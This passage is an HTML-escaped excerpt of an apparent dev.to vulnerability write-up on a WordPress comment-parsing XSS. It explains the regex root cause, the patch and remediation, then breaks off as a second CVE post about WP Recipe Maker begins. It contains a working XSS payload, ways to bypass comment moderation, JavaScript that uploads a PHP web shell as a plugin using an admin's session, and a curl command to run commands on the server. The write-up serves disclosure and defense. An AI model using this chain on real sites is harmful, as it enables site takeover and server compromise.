&lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;wp_replace_in_html_tags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;' &amp;lt;!-- wpnl --&amp;gt; '&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;\n&lt;/code&gt; inside &lt;code&gt;cite&lt;/code&gt; becomes the HTML comment &lt;code&gt;&amp;lt;!-- wpnl --&amp;gt;&lt;/code&gt;. Here's the detail that matters: &lt;strong&gt;that comment string itself contains a &lt;code&gt;&amp;gt;&lt;/code&gt;&lt;/strong&gt; — and that stray &lt;code&gt;&amp;gt;&lt;/code&gt; is the bait for the next step.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — &lt;code&gt;[^&amp;gt;]*&lt;/code&gt; stops at the wrong &lt;code&gt;&amp;gt;&lt;/code&gt; (the root cause)
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;wpautop()&lt;/code&gt; adds a blank line above block-level opening tags to split content into paragraphs, and &lt;code&gt;blockquote&lt;/code&gt; is on that list.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// wp-includes/formatting.php:490&lt;/span&gt;
&lt;span class="c1"&gt;// Add a double line break above block-level opening tags.&lt;/span&gt;
&lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;preg_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'!(&amp;lt;'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$allblocks&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'[\s/&amp;gt;])!'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;$1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each paragraph then gets wrapped in &lt;code&gt;&amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&lt;/code&gt;. A separate step cleans up the case where a &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; ends up wrapping a &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt; directly, by collapsing the two into one line. This is the regex that does it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// wp-includes/formatting.php:563 (vulnerable version)&lt;/span&gt;
&lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;preg_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'|&amp;lt;p&amp;gt;&amp;lt;blockquote([^&amp;gt;]*)&amp;gt;|i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;blockquote$1&amp;gt;&amp;lt;p&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;[^&amp;gt;]*&lt;/code&gt; means "any number of characters that are not &lt;code&gt;&amp;gt;&lt;/code&gt;." For a normal blockquote, this should capture everything up to the tag's real closing &lt;code&gt;&amp;gt;&lt;/code&gt;. But because step 2 planted a &lt;code&gt;&amp;gt;&lt;/code&gt; inside &lt;code&gt;&amp;lt;!-- wpnl --&amp;gt;&lt;/code&gt;, the regex &lt;strong&gt;stops right there instead.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The capture ends up being &lt;code&gt;cite="a &amp;lt;!-- wpnl --&lt;/code&gt;, and the replacement (&lt;code&gt;&amp;lt;blockquote$1&amp;gt;&amp;lt;p&amp;gt;&lt;/code&gt;) places &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; right after it — in the &lt;strong&gt;middle of the &lt;code&gt;cite&lt;/code&gt; attribute value&lt;/strong&gt;. Once the function converts the placeholders back to newlines at the end, the result looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;blockquote&lt;/span&gt; &lt;span class="na"&gt;cite=&lt;/span&gt;&lt;span class="s"&gt;"a
&amp;lt;p&amp;gt; b"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;code&amp;gt;&lt;/span&gt;x" onfocus=alert(document.domain) autofocus tabindex=0&lt;span class="nt"&gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This still looks harmless — &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; is just four characters sitting inside a string that happens to be an attribute value. The next step is what turns it into a real tag boundary.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — &lt;code&gt;wptexturize()&lt;/code&gt; mistakes the stray &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; for a tag boundary
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;wptexturize()&lt;/code&gt; converts &lt;code&gt;"straight quotes"&lt;/code&gt; into &lt;code&gt;“curly quotes”&lt;/code&gt;. It runs automatically whenever a block theme (the default since WordPress 6.0) renders a template.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// wp-includes/block-template.php:297-299&lt;/span&gt;
&lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;wptexturize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;convert_smilies&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;wp_filter_content_tags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'template'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(Some classic themes trigger it too, via &lt;code&gt;the_content()&lt;/code&gt; — Twenty Twenty-One is one example.)&lt;/p&gt;

&lt;p&gt;&lt;code&gt;wptexturize()&lt;/code&gt; splits HTML into text nodes, and it reads the injected &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; as a genuine tag boundary. That makes the &lt;code&gt;"&lt;/code&gt; right after it look like plain text rather than part of an attribute value, so it gets rewritten to the typographic entity &lt;code&gt;&amp;amp;#8221;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;There's one exception, though:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// wp-includes/formatting.php:106&lt;/span&gt;
&lt;span class="nv"&gt;$default_no_texturize_tags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'pre'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'code'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'kbd'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'style'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'script'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'tt'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;onfocus=...&lt;/code&gt; payload in the attack comment sits inside a &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; tag — which KSES already allowed on its comment allowlist. Because &lt;code&gt;wptexturize()&lt;/code&gt; skips the content of &lt;code&gt;code&lt;/code&gt;, the &lt;code&gt;"&lt;/code&gt; inside it &lt;strong&gt;survives untouched.&lt;/strong&gt; The fake closing &lt;code&gt;"&lt;/code&gt; of &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt; gets neutralized into a curly quote, while the real &lt;code&gt;"&lt;/code&gt; inside &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; stays straight and ends up acting as the actual attribute delimiter.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — Final render: the event handler goes live
&lt;/h3&gt;

&lt;p&gt;After all four filters have run, here is the HTML the browser actually parses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;blockquote&lt;/span&gt; &lt;span class="na"&gt;cite=&lt;/span&gt;&lt;span class="s"&gt;"a &amp;lt;p&amp;gt; b&amp;amp;#8221;&amp;gt;
  onfocus=alert(document.domain) autofocus tabindex=0&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the point where &lt;code&gt;cite&lt;/code&gt;'s value closes (the genuine &lt;code&gt;"&lt;/code&gt; that was inside &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt;), the browser reads &lt;code&gt;onfocus&lt;/code&gt;, &lt;code&gt;autofocus&lt;/code&gt;, and &lt;code&gt;tabindex&lt;/code&gt; as &lt;strong&gt;real attributes of &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt;&lt;/strong&gt;. Because &lt;code&gt;autofocus&lt;/code&gt; is present, the element gets focus the instant the page loads, which fires &lt;code&gt;onfocus&lt;/code&gt; with zero user interaction — a true zero-click execution.&lt;/p&gt;




&lt;h2&gt;
  
  
  Routes that skip comment approval entirely
&lt;/h2&gt;

&lt;p&gt;By default, WordPress holds a first-time commenter's comment for moderation (&lt;code&gt;comment_previously_approved&lt;/code&gt; defaults to 1), which would seem to block this attack until an admin approves it. The researcher documented three ways around that.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reuse the default sample commenter.&lt;/strong&gt; A fresh WordPress install ships with one pre-approved comment from "A WordPress Commenter." Since &lt;code&gt;check_comment()&lt;/code&gt; only checks the author name and email together, posting under that same name/email gets auto-approved.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The approval requirement is simply off.&lt;/strong&gt; If "Comment author must have a previously approved comment" is unchecked in site settings, a brand-new identity is stored as approved right away.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A pending comment still renders for some visitors.&lt;/strong&gt; Anyone holding a &lt;code&gt;comment_author_&amp;lt;hash&amp;gt;&lt;/code&gt; cookie (i.e., anyone who has ever commented on the site) can still see an unapproved comment via the author's own &lt;code&gt;?unapproved=&amp;lt;id&amp;gt;&amp;amp;moderation-hash=&amp;lt;hash&amp;gt;&lt;/code&gt; link.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So "we have comment moderation turned on" doesn't actually close this gap.&lt;/p&gt;




&lt;h2&gt;
  
  
  From XSS to RCE — after an admin's session is involved
&lt;/h2&gt;

&lt;p&gt;The script runs in whoever's browser loads the page. For a regular visitor, that's a limited blast radius. But &lt;strong&gt;if a logged-in administrator opens the post&lt;/strong&gt;, things change.&lt;/p&gt;

&lt;p&gt;The plugin-upload endpoint checks the &lt;code&gt;upload_plugins&lt;/code&gt; capability, which &lt;code&gt;map_meta_cap()&lt;/code&gt; maps to the &lt;code&gt;install_plugins&lt;/code&gt; capability an administrator holds. The injected script can use that directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// 1. Pull the upload nonce out of the plugin installer form.&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/wp-admin/plugin-install.php?tab=upload&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;})).&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;form&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;DOMParser&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;parseFromString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text/html&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                 &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;form.wp-upload-form&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nonce&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[name="_wpnonce"]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// 2. Build a one-file plugin zip in memory, containing a PHP web shell.&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;php&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;?php /* Plugin Name: X */ if (isset($_GET['c'])) system($_GET['c']);&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;zip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;buildStoredZip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;x/x.php&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;php&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// 3. Submit it straight to the installer — no file editor, no FTP needed.&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormData&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;_wpnonce&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pluginzip&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Blob&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/zip&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;x.zip&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/wp-admin/update.php?action=upload-plugin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The plugin doesn't even need to be activated — the file is already on disk and reachable directly, so the shell answers immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://example.com/wp-content/plugins/x/x.php?c=id"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Whatever value is passed in &lt;code&gt;c&lt;/code&gt; executes as the web server user. What started as a single comment ends with shell access on the server.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/MF3lfCjtgts" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — making the regex quote-aware
&lt;/h2&gt;

&lt;p&gt;WordPress 7.1.1 fixed this with a one-line change to the offending regex.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Before — WordPress 7.1 and earlier&lt;/span&gt;
&lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;preg_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'|&amp;lt;p&amp;gt;&amp;lt;blockquote([^&amp;gt;]*)&amp;gt;|i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;blockquote$1&amp;gt;&amp;lt;p&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// After — WordPress 7.1.1&lt;/span&gt;
&lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;preg_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'!&amp;lt;p&amp;gt;&amp;lt;blockquote((?:[^&amp;gt;"\']|"[^"]*"|\'[^\']*\')*)&amp;gt;!i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;blockquote$1&amp;gt;&amp;lt;p&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The old &lt;code&gt;[^&amp;gt;]*&lt;/code&gt; allowed only "any non-&lt;code&gt;&amp;gt;&lt;/code&gt; character." The new pattern repeats one of three alternatives:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;[^&amp;gt;"\']&lt;/code&gt; — an ordinary character that's neither a quote nor &lt;code&gt;&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;"[^"]*"&lt;/code&gt; — an entire double-quoted attribute value, &lt;code&gt;&amp;gt;&lt;/code&gt; inside included&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;'[^\']*'&lt;/code&gt; — an entire single-quoted attribute value, &lt;code&gt;&amp;gt;&lt;/code&gt; inside included&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once an attribute value is wrapped in quotes, any &lt;code&gt;&amp;gt;&lt;/code&gt; inside it is no longer mistaken for the tag's real end. With the patched regex, the capture correctly extends across the whole &lt;code&gt;cite="a &amp;lt;!-- wpnl --&amp;gt; b"&lt;/code&gt; value, and &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; lands only after the tag's genuine closing &lt;code&gt;&amp;gt;&lt;/code&gt;. Since this line was the only place in &lt;code&gt;wpautop()&lt;/code&gt; that inserts something inside a tag, a single-line fix was all it took.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update to WordPress 7.1.1 if you're on 7.1, or to the corresponding patched release for your branch (7.0.5, 6.9.8, down to 4.7.36, and so on).&lt;/li&gt;
&lt;li&gt;If you can't update immediately, closing comments on individual posts, or disabling comments site-wide, removes the attack path entirely.&lt;/li&gt;
&lt;li&gt;A WAF or security plugin that blocks requests containing a newline inside a &lt;code&gt;cite&lt;/code&gt; attribute can serve as a temporary mitigation.&lt;/li&gt;
&lt;li&gt;Updating stops new attacks but doesn't undo any changes already made by an attacker. Sites that may have been exposed should separately audit their installed plugins and files for anything unrecognized.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>wordpress</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-89274: When a Comment Meets do_shortcode() in WP Recipe Maker</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 09 Oct 2026 03:27:58 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-89274-when-a-comment-meets-doshortcode-in-wp-recipe-maker-40n8</link>
      <guid>https://dev.to/guidance_white/cve-2026-89274-when-a-comment-meets-doshortcode-in-wp-recipe-maker-40n8</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcn85s1b0rc9o83uy2npf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcn85s1b0rc9o83uy2npf.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;In WP Recipe Maker 10.8.1 and earlier, the text of a visitor's rated comment is passed to &lt;code&gt;do_shortcode()&lt;/code&gt; while the plugin builds its recipe JSON-LD. Any &lt;code&gt;[shortcode]&lt;/code&gt; written in an approved comment is executed on the server each time the page renders, and the output lands in the page for everyone to see.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;CVE-2026-89274&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Product&lt;/td&gt;
&lt;td&gt;WP Recipe Maker (WordPress plugin)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected&lt;/td&gt;
&lt;td&gt;10.8.1 and earlier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;10.8.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-94, arbitrary shortcode execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;9.1 (&lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication&lt;/td&gt;
&lt;td&gt;None (the comment has to be approved)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;One caveat up front: this is not arbitrary PHP execution. An attacker can only run shortcodes that are already registered on the site, so the real impact depends on what those shortcodes do.&lt;/p&gt;




&lt;h2&gt;
  
  
  Background you need
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What a shortcode is
&lt;/h3&gt;

&lt;p&gt;A shortcode is WordPress's &lt;code&gt;[tag option="value"]&lt;/code&gt; syntax. When &lt;code&gt;do_shortcode()&lt;/code&gt; sees one, it calls the PHP function registered for that tag and swaps the shortcode for the return value.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
